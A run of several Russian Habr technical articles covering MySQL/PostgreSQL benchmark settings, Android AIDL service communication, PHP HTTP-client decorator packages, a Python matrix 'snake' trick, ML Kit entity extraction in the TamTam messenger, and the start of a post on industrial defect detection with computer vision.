sort_buffer_size=32k
max_connections=16000
back_log=5000
innodb_open_files=4000
#Monitoring
performance-schema=0
#Percona Server specific
userstat=0
thread-statistics=0
#InnoDB General
innodb_buffer_pool_load_at_startup=1
innodb_buffer_pool_dump_at_shutdown=1
innodb_numa_interleave=1
innodb_file_per_table=1
innodb_file_format=barracuda
innodb_flush_method=O_DIRECT_NO_FSYNC
innodb_doublewrite=1
innodb_support_xa=1
innodb_checksums=1
#Concurrency
innodb_thread_concurrency=144
innodb_page_cleaners=8
innodb_purge_threads=4
innodb_spin_wait_delay=12 Good value for RO is 6, for RW and RC is 192
innodb_log_file_size=8G
innodb_log_files_in_group=16
innodb_buffer_pool_size=128G
innodb_buffer_pool_instances=128 #to avoid wait on InnoDB Buffer Pool mutex
innodb_io_capacity=18000
innodb_io_capacity_max=36000
innodb_flush_log_at_timeout=0
innodb_flush_log_at_trx_commit=2
innodb_flush_sync=1
innodb_adaptive_flushing=1
innodb_flush_neighbors = 0
innodb_max_dirty_pages_pct=90
innodb_max_dirty_pages_pct_lwm=10
innodb_lru_scan_depth=4000
innodb_adaptive_hash_index=0
innodb_change_buffering=none #can be inserts, workload-specific
optimizer_switch="index_condition_pushdown=off" #workload-specific
```
**Параметры MySQL SysBench:**
```
LD_PRELOAD=/data/sveta/5.7.14/lib/mysql/libjemalloc.so
/data/sveta/sbkk/bin/sysbench
[ --test=/data/sveta/sysbench/sysbench/tests/db/oltp_prepared.lua | --test=/data/sveta/sysbench/sysbench/tests/db/oltp_simple_prepared.lua ]
--db-driver=mysql --oltp-tables-count=8 --oltp-table-size=10000000
--mysql-table-engine=innodb --mysql-user=msandbox --mysql-password=msandbox
--mysql-socket=/tmp/mysql_sandbox5715.sock
--num-threads=$i --max-requests=0 --max-time=300
--percentile=0 [--oltp-read-only=on --oltp-skip-trx=on]
```
**Параметры PostgreSQL pgbench:**
```
$ git clone https://github.com/postgrespro/pg_oltp_bench.git
$ cd pg_oltp_bench
$ make USE_PGXS=1
$ sudo make USE_PGXS=1 install
$ psql DB -f oltp_init.sql
$ psql DB -c "CREATE EXTENSION pg_oltp_bench;"
$ pgbench -c 100 -j 100 -M prepared -f oltp_ro.sql -T 300 -P 1 DB
$ pgbench -c 100 -j 100 -M prepared -f oltp_rw.sql -T 300 -P 1 DB
```
**Функции в MySQL 5.7, которые существенно улучшили производительность:**
* InnoDB: оптимизация списка транзакций:
+ [Статья команды InnoDB](https://blogs.oracle.com/mysqlinnodb/entry/transaction_life_cycle_improvements_in);
+ [WL #6047](http://dev.mysql.com/worklog/task/?id=6047);
* InnoDB: уменьшение contention для lock\_sys\_t::mutex:
+ [WL #6899](http://dev.mysql.com/worklog/task/?id=6899);
* InnoDB: исправление contention index->lock:
+ [WL #6326](http://dev.mysql.com/worklog/task/?id=6326);
* InnoDB: ускоренный и параллельный сброс страниц на диск:
+ многопотоковая очистка страниц: [WL #6642](http://dev.mysql.com/worklog/task/?id=6642);
+ уменьшенное количество страниц, которые необходимо сбросить: [WL #7047](http://dev.mysql.com/worklog/task/?id=7047);
+ улучшение адаптивного сброса страниц: [WL #7868](http://dev.mysql.com/worklog/task/?id=7868);
* масштабируемость MDL (Meta-Data Lock):
+ удаление THR\_LOCK::mutex для InnoDB: [Wl #6671](http://dev.mysql.com/worklog/task/?id=6671);
+ партицированный LOCK\_grant;
+ число партиций постоянно;
+ использование ID потока для назначения партиции:
- [Wl #8355](http://dev.mysql.com/worklog/task/?id=8355);
- [Bug #72829](http://bugs.mysql.com/bug.php?id=72829);
+ неблокирующий захват MDL lock для DML:
- [WL #7306](http://dev.mysql.com/worklog/task/?id=7306);
- [WL #7305](http://dev.mysql.com/worklog/task/?id=7305).
**Анастасия**: Первоначальные результаты этого исследования были обнародованы на [Percona Live Amsterdam 2016](https://www.percona.com/live/plam16/sessions/open-source-sql-databases-enters-millions-queries-second-era). Новые интересные результаты были добавлены во вторую версию той же речи, которая была представлена на [Moscow HighLoad++ 2016](http://www.highload.ru/2016/abstracts/2337.html).
Дальнейшие версии исследования будут доступны для всех участников **[мастер-класса Светы](http://pgday.ru/ru/2017/request/registration?talkId=129?utm_source=habr&utm_medium=post&utm_campaign=pg_vs_mysql)** на PG Day'17. Если у вас есть вопросы и пожелания по тому, о каких аспектах производительности PostgreSQL и MySQL вы бы хотели узнать подробнее, оставляйте комментарии, мы обязательно учтем ваши пожелания! | https://habr.com/ru/post/326204/ | null | ru | null |
# Взаимодействие между приложением и службой
#### Введение
В данной публикации хочу показать пример взаимодействия (получение и отправки данных) приложения и службы, в операционной системе Андроид. Публикация рассчитана на начинающих программистов, теории практически не будет, так как основная цель рассказать, как это сделать.
Схема взаимодействия будет следующая, приложение регистрирует [приемник широковещательных сообщений](http://developer.android.com/reference/android/content/BroadcastReceiver.html), который получает данные от службы, далее запускается сама служба, передача данных от приложения к службе будет реализована через [AIDL](http://developer.android.com/guide/developing/tools/aidl.html) механизм.
Перед тем как начать, у вас должны быть установлены основные компоненты для создания Андроид приложений, такие как Java (JDK и JRE), Eclipse, Android SDK и плагин ADT для Eclipse, о том, как это установить и настроить вы можете прочесть на страницах Хабрахабр.
#### 1. Создаем приложение и службу
Запускаем Eclipse, далее нажимаем Ctrl+N, в появившемся диалоговом окне выбираем пункт «Android Project» и следуем инструкции, показанной на изображении:
Тем самым мы создали каркас приложения, теперь нужно добавить службу, для этого необходимо создать новый класс, наследованный от класса [Service](http://developer.android.com/reference/android/app/Service.html), нажимаем правой кнопкой мыши по пакету нашего проекта:
Далее появится диалоговое окно, в котором необходимо сделать следующие действия:
Теперь добавим наш сервис в файл AndroidManifest.xml, для этого открываем его в Eclipse и делаем следующее:
#### 2. Получение информации от службы
Для получения информации от службы, необходимо зарегистрировать приемник широковещательных сообщений, для этого добавим соответствующий код в методы onCreate и onDestroy приложения:
```
@Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
//Регистрация приемника
IntentFilter filter = new IntentFilter();
filter.addAction("AppService");
service = new BroadcastReceiver()
{
@Override
public void onReceive(Context context, Intent intent)
{
if(intent.getAction().equals("AppService"))
{
Log.i("AppService",intent.getStringExtra("Data"));
}
}
};
registerReceiver(service, filter);
//Запуск службы
startService(new Intent(this,MainService.class));
}
@Override
protected void onDestroy()
{
super.onDestroy();
if(service!= null){unregisterReceiver(service);}
stopService(new Intent(this,MainService.class));
}
```
В службе, информация передается путем отправки широковещательного сообщения, добавим метод onCreate и отправку:
```
@Override
public void onCreate()
{
super.onCreate();
Intent in = new Intent("AppService");
in.putExtra("Data","Служба запущена.");
sendBroadcast(in);
}
```
Запускаем наше приложение и видим в LogCat информацию, полученную от службы и обработанную в основном коде приложении:
#### 3. Передача данных службе
Теперь добавим механизм AIDL к нашему проекту, для этого добавим файл с расширение aidl:
Появится диалоговое окно, в котором вводим следующие данные:
Откроется окно редактирования файла UpdateService.aidl, добавляем следующий код:
```
package ru.blagin.appservice;
interface UpdateService
{
String UpdateSrv(String strTest);
}
```
После чего необходимо сохранить изменения и пересобрать проект, если отключена опция автоматической сборки, далее ADT плагин автоматически сгенерирует код, необходимый для работы данного механизма. Теперь нужно изменить код основного приложения и службы. Добавим реализацию интерфейса [ServiceConnection](http://developer.android.com/reference/android/content/ServiceConnection.html) в основной код приложения, изменим запуск и остановку службы, а так же добавим кнопку, при нажатии на которую будет осуществлена передача данных:
```
package ru.blagin.appservice;
import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.ServiceConnection;
import android.os.Bundle;
import android.os.IBinder;
import android.os.RemoteException;
import android.util.Log;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import ru.blagin.appservice.UpdateService;
public class Main extends Activity
{
private BroadcastReceiver brService = null;
UpdateService iService = null;
private ServiceConnection mConnection = new ServiceConnection()
{
public void onServiceDisconnected(ComponentName name)
{
iService = null;
}
public void onServiceConnected(ComponentName name, IBinder service)
{
iService = UpdateService.Stub.asInterface(service);
}
};
@Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
//Регистрация приемника
IntentFilter filter = new IntentFilter();
filter.addAction("AppService");
brService = new BroadcastReceiver()
{
@Override
public void onReceive(Context context, Intent intent)
{
if(intent.getAction().equals("AppService"))
{
Log.i("AppService",intent.getStringExtra("Data"));
}
}
};
registerReceiver(brService, filter);
//Запуск службы
bindService(new Intent(this,MainService.class),mConnection,BIND_AUTO_CREATE);
Button bt = (Button)findViewById(R.id.buttonSend);
bt.setOnClickListener(new OnClickListener()
{
public void onClick(View v)
{
//Отправляем данные
try
{
String strResult = iService.UpdateSrv("String from app");
Log.i("AppService",strResult);
}catch(RemoteException e){Log.e("AppService",e.getMessage());}
}
});
}
@Override
protected void onDestroy()
{
super.onDestroy();
if(brService!= null){unregisterReceiver(brService);}
if(mConnection!= null){unbindService(mConnection);}
}
}
```
Внесем изменения в код службы:
```
package ru.blagin.appservice;
import android.app.Service;
import android.content.Intent;
import android.os.IBinder;
import android.os.RemoteException;
public class MainService extends Service
{
Intent in = null;
@Override
public void onCreate()
{
super.onCreate();
in = new Intent("AppService");
in.putExtra("Data","Служба запущена.");
sendBroadcast(in);
}
@Override
public IBinder onBind(Intent intent)
{
return new UpdateService.Stub()
{
public String UpdateSrv(String strTest) throws RemoteException
{
strTest = strTest + " and service.";
in.putExtra("Data","Вызов метода интерфейса.");
sendBroadcast(in);
return strTest;
}
};
}
@Override
public void onDestroy()
{
super.onDestroy();
}
}
```
Запускаем приложение и нажимаем кнопку, происходит отправка тестовой строки в сервис, далее к строке добавляется еще одна и результат выводится через методы класса [Log](http://developer.android.com/reference/android/util/Log.html):
#### Заключение
Надеюсь, эта небольшая статья поможет вам в дальнейшем уже глубже разобраться в механизмах взаимодействия и работы приложений в операционной системе Андроид. Хотелось еще раз отметить, что данный текст, создавался исключительно для начинающих программистов и главным критерием, написания, было ответить на вопрос «Как это сделать?».
[Исходный код приложения.](http://dc133.file.qip.ru/download/Fuy_ayB9/AppService.zip)
#### Список используемой литературы
1. Pro Android 3 — Satya Komatineni, Dave MacLean, Sayed Hashimi, 2011 г.
2. [AIDL (Android Interface Definition Language) и коммуникация между процессами (IPC)](http://habrahabr.ru/blogs/android_development/139432/) ([umobisoft](http://habrahabr.ru/users/umobisoft/)). | https://habr.com/ru/post/139831/ | null | ru | null |
# HTTP-клиент на стероидах
Бывает так, что в проект не хочется тащить мощный и тяжелый HTTP-клиент, а хочется взять что-то легкое, но его функционала не достаточно. Для решения таких компромиссов у меня есть небольшие классы декораторы, которые я опубликовал на всеобщее обозрение под лицензией MIT.
Смена версии протокола
----------------------
К нам пришёл HTTP/2, но не каждый сервер, как и не каждый клиент его поддерживает. Если попробовать отправить запрос, принудительно указав версию протокола 2, можно получить от сервера ошибку `505 HTTP Version Not Supported`. Пакет [webclient/ext-protocol-version](https://packagist.org/packages/webclient/ext-protocol-version) решает эту, возможно надуманную, проблему. При получении ответа 505 клиент повторит запрос, но уже с версией протокола, указанной в ответе сервера.
```
php
use Webclient\Extension\ProtocolVersion\Client;
use Psr\Http\Client\ClientInterface;
use Psr\Http\Message\RequestInterface;
/**
* @var ClientInterface $client Ваш PSR-18 совместимый HTTP Client.
*/
$http = new Client($client);
/** @var RequestInterface $request */
$response = $http-sendRequest($request);
```
Редиректы
---------
Очень редко, но встречается, когда клиент не умеет следовать редиректам при ответе с кодом `3xx`. В этом случае поможет пакет [webclient/ext-redirect](https://packagist.org/packages/webclient/ext-redirect). Тут всё элементарно, Передаём в конструктор наш клиент и максимальное количество допустимых редиректов на один запрос.
```
php
use Webclient\Extension\Redirect\Client;
use Psr\Http\Client\ClientInterface;
use Psr\Http\Message\RequestInterface;
/**
* @var ClientInterface $client Ваш PSR-18 совместимый HTTP Client.
* @var int $maxRedirects Максимальное количество допустимых редиректов.
*/
$http = new Client($client, $maxRedirects);
/** @var RequestInterface $request */
$response = $http-sendRequest($request);
```
Логирование
-----------
Иногда нам необходимо логировать запросы и ответы. Пакет [webclient/ext-log](https://packagist.org/packages/webclient/ext-log) позволяет настроить логирование так, как этого требует проект. Помимо клиента, вам понадобится [PSR-3 совместимый логгер](https://packagist.org/providers/psr/log-implementation). Для формирования строки лога используется интерфейс `Webclient\Extension\Log\Formatter\Formatter`, а для формирования ID запроса (для поиска в логах пары запрос-ответ) - `Webclient\Extension\Log\IdGenerator\IdGenerator`. По одной реализации этих интерфейсов поставляется из коробки:
* `Webclient\Extension\Log\IdGenerator\UniqueIdGenerator` - элементарный генератор на основе `uniqid()`
* `Webclient\Extension\Log\Formatter\RawHttpFormatter` - логирование запросов и ответов в виде RAW-текста.
```
php
use Psr\Http\Client\ClientInterface;
use Psr\Http\Message\RequestInterface;
use Psr\Log\LoggerInterface;
use Psr\Log\LogLevel;
use Webclient\Extension\Log\Client;
use Webclient\Extension\Log\Formatter\Formatter;
use Webclient\Extension\Log\IdGenerator\IdGenerator;
/**
* @var ClientInterface $client Ваш PSR-18 совместимый HTTP Client.
* @var LoggerInterface $logger Ваш PSR-3 совместимый логгер.
* @var IdGenerator|null $idGenerator Ваш ID-генератор.
* При передаче null будет использоваться
* Webclient\Extension\Log\IdGenerator\UniqueIdGenerator.
* @var Formatter|null $formatter Ваш форматировщик лога.
* При передаче null будет использоваться
* Webclient\Extension\Log\Formatter\RawHttpFormatter.
*/
$http = new Client(
$client,
$logger,
$idGenerator,
$formatter,
LogLevel::INFO, // Уровень логирования запросов
LogLevel::INFO, // Уровень логирования информационных ответов (Коды 1xx)
LogLevel::INFO, // Уровень логирования успешных ответов (Коды 2xx)
LogLevel::INFO, // Уровень лоигрования ответов с редиректом (Коды 3xx)
LogLevel::ERROR, // Уровень логирования ответов об ошибках клиента (Коды 4xx)
LogLevel::ERROR, // Уровень логирования ответов об ошибках сервера (Коды 5xx)
LogLevel::WARNING // Уровень логирования исключений HTTP клиента
);
/** @var RequestInterface $request */
$response = $http-sendRequest($request);
```
Куки
----
Бывают проекты, в которых не достаточно просто отправить запрос и получить ответ. Иногда нужно поддерживать сессию (ну или ещё что-то). Чтобы добавить вашему клиенту поддержку печенек, нужно отнаследоваться от абстрактного класса `Webclient\Extension\Cookie\Cookie\Storage` из пакета [webclient/ext-cookie](https://packagist.org/packages/webclient/ext-cookie), либо воспользоваться одной из поставляемых с пакетом реализацией:
* `Webclient\Extension\Cookie\Cookie\ArrayStorage` - держит куки в памяти. Слетает после завершения скрипта;
* `Webclient\Extension\Cookie\Cookie\NetscapeCookieFile` - хранит куки в файле в соответствии с [форматом Netscape](https://curl.haxx.se/docs/http-cookies.html).
```
php
use Psr\Http\Client\ClientInterface;
use Psr\Http\Message\RequestInterface;
use Webclient\Extension\Cookie\Client;
use Webclient\Extension\Cookie\Cookie\Storage;
/**
* @var ClientInterface $client Ваш PSR-18 совместимый HTTP Client.
* @var Storage $storage Хранилище куков.
* Вы можете отнаследоваться от этого класса для реализации своего хранилища.
*/
$http = new Client($client, $storage);
/** @var RequestInterface $request */
$response = $http-sendRequest($request);
```
Кэширование
-----------
О кэшировании, его плюсах и минусах сказано уже много. Если вам хочется разгрузить какой-то из своих редко обновляемых микросервисов (~~и нагрузить кэш~~), поможет пакет [webclient/ext-cache](https://packagist.org/packages/webclient/ext-cache). Чтобы завернуть в него свой клиент, вам понадобится реализация `Psr\SimpleCache\CacheInterface` из [PSR-6](https://packagist.org/providers/psr/simple-cache-implementation), `Psr\Http\Message\ResponseFactoryInterface` и `Psr\Http\Message\StreamFactoryInterface` из [PSR-17](https://packagist.org/providers/psr/http-factory-implementation).
Кэширование происходит на основе соответствующих заголовков HTTP-запросов и ответов.
```
php
use Psr\Http\Client\ClientInterface;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseFactoryInterface;
use Psr\Http\Message\StreamFactoryInterface;
use Psr\SimpleCache\CacheInterface;
use Webclient\Extension\Cache\Client;
/**
* @var ClientInterface $client Ваш PSR-18 совместимый HTTP Client.
* @var CacheInterface $cache Ваш PSR-6 совместимый кэш.
* @var ResponseFactoryInterface $responseFactory
* Ваша PSR-17 совместимая фабрика ответов.
* @var StreamFactoryInterface $streamFactory
* Ваша PSR-17 совместимая фабрика потоков.
* @var string Строка, уникальная для приватного кэша (например, ID сессии).
*/
$http = new Client(
$client,
$cache,
$responseFactory,
$streamFactory,
$privateKey
);
/** @var RequestInterface $request */
$response = $http-sendRequest($request);
```
---
На этом расширения для клиентов заканчиваются, но статья продолжается. У меня есть ещё парочка инструментов, которые могут кому-то облегчить жизнь.
Создание запросов с файлами
---------------------------
Как известно, в PSR-7 есть два вида запросов - обычный запрос и серверный запрос. Они оба реализуют интерфейс `Psr\Http\Message\RequestInterface` (`Psr\Http\Message\ServerRequestInterface` его расширяет). При отправке файлов на сервер мы не можем просто взять серверный запрос, выполнить его метод `withUploadedFiles($files)` и передать полученный объект в HTTP-клиент. Для того, чтобы клиент корректно отправил запрос с файлами, эти файлы должны быть записаны в поток тела запроса. Библиотека [webclient/helper-form](https://packagist.org/packages/webclient/helper-form) предназначена для упрощения создания таких запросов. Для работы вам понадобятся реализации интерфейсов `Psr\Http\Message\ResponseFactoryInterface` и `Psr\Http\Message\StreamFactoryInterface`.
Фейковый клиент
---------------
В проектах бывает необходимость запросов к сервисам, которые не желательно дергать лишний раз (например, платные API), но код, использующий такие обращения, тестировать нужно.
Для такого тестирования можно воспользоваться [webclient/fake-http-client](https://packagist.org/packages/webclient/fake-http-client), который является реализацией `Psr\Http\Client\ClientInterface`, но под капотом вместо запроса к серверу вызывает `Psr\Http\Server\RequestHandlerInterface` из PSR-15 (преобразовав при необходимости `Psr\Http\Message\RequestInterface` в `Psr\Http\Message\ServerRequestInterface`). Реализация `Psr\Http\Server\RequestHandlerInterface` остаётся за вами - эмулируйте поведение, как вам нужно для тестирования.
```
php
use Webclient\Fake\Client;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Server\RequestHandlerInterface;
/**
* @var RequestHandlerInterface $handler Ваш обработчик запроса.
* @var array $serverParams Параметры сервера, которые будут добавлены
* при преобразовании из Psr\Http\Message\RequestInterface в
* Psr\Http\Message\ServerRequestInterface.
*/
$client = new Client($handler, $serverParams);
/**
* @var RequestInterface $request Ваш HTTP-запрос
*/
$response = $client-sendRequest($request);
```
Если вы передаете объект `Psr\Http\Message\ServerRequestInterface` клиенту и хотите, чтобы обработчик получил его как есть, добавьте атрибут `Webclient\Fake\Client::NOREPLACEATTRIBUTE` (иначе будет создан новый объект запроса).
```
php
use Webclient\Fake\Client;
use Psr\Http\Server\RequestHandlerInterface;
/**
* @var Client $client.
* @var ServerRequestInterface $request.
*/
$request = $request-withAttribute(Client::NOREPLACEATTRIBUTE, true);
$response = $client->sendRequest($request);
```
Чтобы хоть чуть-чуть упростить вам написание обработчика, в пакете поставляется класс `Webclient\Fake\Handler\SimpleRoutingHandler` - обработчик с примитивным роутингом.
```
php
use Webclient\Fake\Client;
use Webclient\Fake\Handler\SimpleRoutingHandler;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Server\RequestHandlerInterface;
/**
* @var RequestHandlerInterface $notFoundHandler Обработчик запросов,
* для которых не нашлось роута.
* @var RequestHandlerInterface $entityCreatedHandler Обработчик запросов
* для эмуляции созания сущности (POST /entities).
* @var RequestHandlerInterface $entityHandler Обработчик запросов
* для получения сущности (GET /entities/1).
* @var RequestHandlerInterface $entityDeletedHandler обработчик запросов
* для удаления сущности (DELETE /entities/2).
* @var RequestInterface $errorRequest Запрос несуществующего URI (GET /users).
* @var RequestInterface $entityCreatingRequest Запрос создания
* сущности (POST /entities).
* @var RequestInterface $entityRequest Запрос получения
* сущности (GET /entities/1).
* @var RequestInterface $entityDeletingRequest Запрос удаления
* сущности (DELETE /entities/2).
*/
$handler = new SimpleRoutingHandler($notFoundHandler);
$handler
-route(['GET', 'HEAD'], '/entities/1', $entityHandler)
->route(['POST'], '/entities', $entityCreatedHandler)
->route(['DELETE'], '/entities/2', $entityDeletedHandler)
;
$client = new Client($handler);
$resp1 = $client->sendRequest($errorRequest); // Вернёт ошибку 404
$resp2 = $client->sendRequest($entityCreatingRequest); // Вернёт ответс кодом 201
$resp3 = $client->sendRequest($entityRequest); // Вернёт ответ с кодом 200
$resp4 = $client->sendRequest($entityDeletingRequest); // Вернёт ответ с кодом 204
```
---
Надеюсь, вы не зря потратили время на прочтение этой статьи и кому-то приглянутся предоставленные инструменты. Спасибо за внимание! | https://habr.com/ru/post/518978/ | null | ru | null |
# Змейка здорового человека
Если вы, как и я, устрашились [фундаментального двухчастного трактата](https://habr.com/ru/post/672198/) коллеги[@Orazbek\_B](/users/Orazbek_B), возможно вас заинтересует это крохотное эссе. Сперва – код на питоне:
```
n, m = 5, 8 # высота и ширина матрицы
def draw(title, f):
print(f"\n{title:-^{m * 3 - 1}}")
res = [""] * (n * m)
for i, j in enumerate(sorted(range(n * m), key=lambda i: f(i // m, i % m))):
res[j] = f"{i:>02}"
for i in range(0, n * m, m):
print(*res[i:i + m])
draw("horizontal", lambda y, x: (y, -x if y % 2 else x))
draw("diagonal" , lambda y, x: (y + x, x if (y + x) % 2 else -x))
```
Результатом выполнения этого кода будут две аккуратные змейки:
`------horizontal-------`
`00 01 02 03 04 05 06 07`
`15 14 13 12 11 10 09 08`
`16 17 18 19 20 21 22 23`
`31 30 29 28 27 26 25 24`
`32 33 34 35 36 37 38 39`
`-------diagonal--------`
`00 02 03 09 10 19 20 29`
`01 04 08 11 18 21 28 30`
`05 07 12 17 22 27 31 36`
`06 13 16 23 26 32 35 37`
`14 15 24 25 33 34 38 39`
В алгоритме ничего сложного: каждой его ячейке ставим в соответствие такой ключ, чтобы, будучи отсортированы по ключам, ячейки заполнялись бы в нужном порядке.
Наши матрицы не злобные, они мягкие и пушистые. Бонус: они не обязательно квадратные. Можно отрисовать и спиральку, хоть прямоугольную, хоть ромбическую, хоть округлую, можно залить не прямоугольник, а фигуру произвольной формы – было бы желание.
Извинити, что так коротенько: о чём говорить, когда говорить не о чем 😀 | https://habr.com/ru/post/672296/ | null | ru | null |
# Как мы научили мессенджер ТамТам распознавать адреса в тексте
Привет! Меня зовут Юра Дорофеев, я работаю над Android-версией мессенджера ТамТам. Представьте, что вы договариваетесь о встрече с другом, и он отправляет вам адрес. Но не отдельным сообщением, а посреди другого текста:
Как этот адрес быстро вставить в навигатор или карту? Приходится копировать всё сообщение, потом вырезать лишнее. А если вы за рулем, то проще переписать адрес с нуля или вообще озвучить его голосом. Ну и моё самое любимое — поздравления с днем рождения. В текущих реалиях это номер банковской карты среди текста сообщения:
И тоже сидишь, копируешь, вырезаешь или просишь автора скинуть отдельным сообщением, чтобы весь чат не мучился так же, как и ты.
Выбор Google
------------
Проблема была известна, висела в беклоге, но до нее не доходили руки. В это же время Google разрабатывал решение для поиска сущностей в тексте и приглашал партнеров к его тестированию. У компании есть набор библиотек ML Kit, которые позволяют решать какие-то точечные задачи при помощи нейронных сетей. Например, нахождение лица на фотографии или считывание штрих-кода.
Все библиотеки из пакета ML Kit работают с уже обученными моделями. Никакие данные не уходят на серверы Google, вся обработка происходит офлайн и локально на устройстве. А самое главное, это бесплатно! Google готовился к запуску новой библиотеки [Entity Extraction](http://ok.me/qHkJ), которая умеет находить сущности в тексте и классифицировать их. Вот пример:
Всего библиотека умеет находить 11 типов сущностей на 15 языках:
Принцип работы
--------------
Нахождение сущностей устроено [следующим образом](http://ok.me/rHmJ): вначале текст разбивается на слова. Дальше все слова объединятся во всевозможные последовательности с максимальной длиной 15 слов. И для каждой из этих последовательностей производится оценка, насколько этот набор слов похож на какую-либо сущность. Чем больше похож, тем ближе оценка к единице.
После этого из последовательностей, которые пересекаются, берутся те, у которых оценка больше. Последним этапом определяется, что именно за сущность скрыта в данной последовательности.
Интересно, что не для всех типов сущностей используются нейронные сети. Например, для распознавания времени, даты, номеров авиарейсов используются регулярные выражения.
Пробуем
-------
Звучит очень круто, а самое главное — должно помочь нам с решением проблемы копирования номера банковской карты из текста сообщения. Мы согласились поучаствовать в программе раннего доступа. Google выслал нам библиотеку с документацией. Было опасение, что библиотека окажется монструозная и использовать её будет очень сложно. Давайте проверим.
Чтобы начать работу, нам нужно инициализировать EntityExtractor. Это та самая штука, которая будет находить сущности в тексте. Инициализируется она очень просто: нужно передать опции с минимальным количеством аргументов — язык, на котором написан исходный текст, и Executor. По умолчанию библиотека использует свой Executor, но можно перевести выполнение на любой другой.
```
private val entityExtractor: Lazy = lazy {
EntityExtraction.getClient(
EntityExtractorOptions.Builder(buildModelLocale())
.setExecutor(executor)
.build()
)
}
```
Зачем указывать язык?
---------------------
Под каждый язык обучена своя модель, и библиотеке нужно знать, какую модель использовать. Казалось бы, можно же автоматически определить язык? Да, для этого есть [отдельная библиотека](https://ok.me/k2lQ) из набора ML Kit и можно её подключить. Она тоже довольно легкая и имеет простой интерфейс.
Как использовать EntityExtractor?
---------------------------------
Всё просто. Вначале собираем параметры для работы экстрактора. Устанавливаем preferredLocale. Это не язык, на котором будет вестись распознавание, а языковой стандарт для форматирования различных сущностей. Например: 1.10.2021 в русском языке — первое октября, а в английском — десятое января, здесь разный порядок месяца и даты.
Далее устанавливаем список сущностей, которые мы готовы обработать. Настраиваем загрузку моделей. В простейшем случае выставляем downloadModelIfNeeded, что означает, что необходимая модель будет скачана, если будет такая необходимость. Если нужна более сложная логика, то есть механизм, позволяющий качать модели по желанию:
```
private fun entityAnnotationsSingle(text: String): Single> {
return Single.create { emitter: SingleEmitter> ->
// .........
val params = EntityExtractionParams.Builder(text)
.setPreferredLocale(userLocale)
.setEntityTypesFilter(SUPPORTED\_TYPES)
.build()
entityExtractor
.downloadModelIfNeeded()
.onSuccessTask { entityExtractor.annotate(params) }
.addOnFailureListener(executor, onFailureListener)
.addOnSuccessListener(executor, onSuccessListener)
}
}
```
Скачивание моделей
------------------
В начале статьи я сказал, что библиотека работает полностью офлайн, а парой строчек выше я говорю, что нужно качать какие-то модели. Нестыковка. В самой библиотеке нет моделей, они скачиваются под каждый язык. Но это единственное, что вам нужно будет скачать, далее библиотека будет работать офлайн. Сами модели небольшие, примерно 600-700 Кб. Модель скачивается в папку files в директории приложения. Странно, конечно, что нельзя задать свой путь. Поэтому, если у вас в приложении есть какая-то очистка кэша, не забудьте настроить исключение на эту папку:
P.S. Уже во время использования выяснилось, что библиотека может падать на вызове downloadModelIfNeeded, не забудьте завернуть в try-catch.
Используем сущности
-------------------
Окей, мы скачали модели, задействовали EntityExtractor, что дальше? А дальше просто выставляйте Span в ваш текст, настраивайте цвет отображения, действия по клику и всё, что вашей душе угодно:
```
fun addMlEntities(text: CharSequence): Maybe {
return entityAnnotationsSingle(text.toString())
.onErrorReturnItem(emptyList())
.flatMapMaybe { entityAnnotations: List ->
if (entityAnnotations.isEmpty()) {
return@flatMapMaybe Maybe.empty()
}
val spannable = text.spannable()
for (annotation in entityAnnotations) {
if (annotation.entities.isNotEmpty()) {
val span = MlSpan(annotation.entities[0], annotation.annotatedText, color)
spannable.setSpan(span, annotation.start, annotation.end, SPAN\_EXCLUSIVE\_EXCLUSIVE)
}
}
return@flatMapMaybe Maybe.just(spannable)
}
}
```
Всё просто и понятно. Так? Нет, не так. Скорость обработки одного сообщения колеблется от 8 до 100 мс. Это не так уж и быстро. Сообщения в чатах у нас грузятся чанками по 40 сообщений. В худшем случае обработка займет 4000 мс или 4 с. То есть потенциально можно задержать открытие чата на 4 с.
Пришлось сделать небольшой хак: изначально мы показываем сообщение как есть, и если в фоне оно обработано, и там была найдена сущность, мы анимированно покажем найденный объект.
```
class MlSpan(...) : ClickableSpan() {
// ....
override fun updateDrawState(ds: TextPaint) {
if (!this::colorAnimator.isInitialized) {
colorAnimator = ValueAnimator.ofObject(argbEvaluator, ds.color, color)
colorAnimator.duration = 200
colorAnimator.addUpdateListener {
currentColor = it.animatedValue as Int
animationListener?.onAnimationUpdate()
}
colorAnimator.start()
}
ds.color = currentColor
}
}
```
Выглядит неплохо, и не пришлось задерживать открытие чата:
Заключение
----------
Сейчас в Google Play [опубликована версия](https://ok.me/tClQ) мессенджера ТамТам, которая включает все решения, описанные выше. Мы умеем находить в тексте:
* адреса;
* e-mail;
* номера телефонов;
* почтовые номера отслеживания;
* номера банковских карт.
Кроме того, поскольку мы одними из первых приложений в мире успешно внедрили библиотеку, о ТамТам [написал Google](http://ok.me/fTmJ) в своем девелоперском блоге:
 | https://habr.com/ru/post/539686/ | null | ru | null |
# Компьютерное зрение в промышленной дефектоскопии: Часть 1 “Как мы заставляли нейронку пялиться на ржавчину”
Сегодня мы хотим поделиться опытом решения задачи детекции дефектов на снимках промышленных объектов методами современного компьютерного зрения.
Наш рассказ будет состоять из нескольких частей:
* “Постановка задачи и Данные”, в которой мы будем смотреть на ржавые отопительные котлы и лопнувшие трубы, наслаждаться разметкой и аугментацией данных, а также будем вращать и шатать трубы чтобы сделать данные разнообразнее;
* “Выбор архитектуры”, в которой мы ~~сядем на два стула~~ попытаемся выбрать между скоростью и точностью;
* “Фреймворки для обучения”, в которой мы будем погружаться в Darknet и заглянем в MMLab и покажем как сделать итоговое решение воспроизводимым и удобным для тестов.
Всем кому интересно взглянуть на пайплайн решения задачи из области машинного зрения и любителям ржавчины и трещин (не показывайте эту заметку сантехникам) просим под кат.
Заметка от партнера IT-центра МАИ и организатора магистерской программы “[VR/AR & AI](https://priem.mai.ru/master/programs/item/index.php?id=103770)” — компании [PHYGITALISM](http://phygitalism.com/?utm_source=organic&utm_medium=habr&utm_campaign=maicv).
Описание задачи
===============
*Рис 1. Схематичное изображение рассматриваемого проекта.*
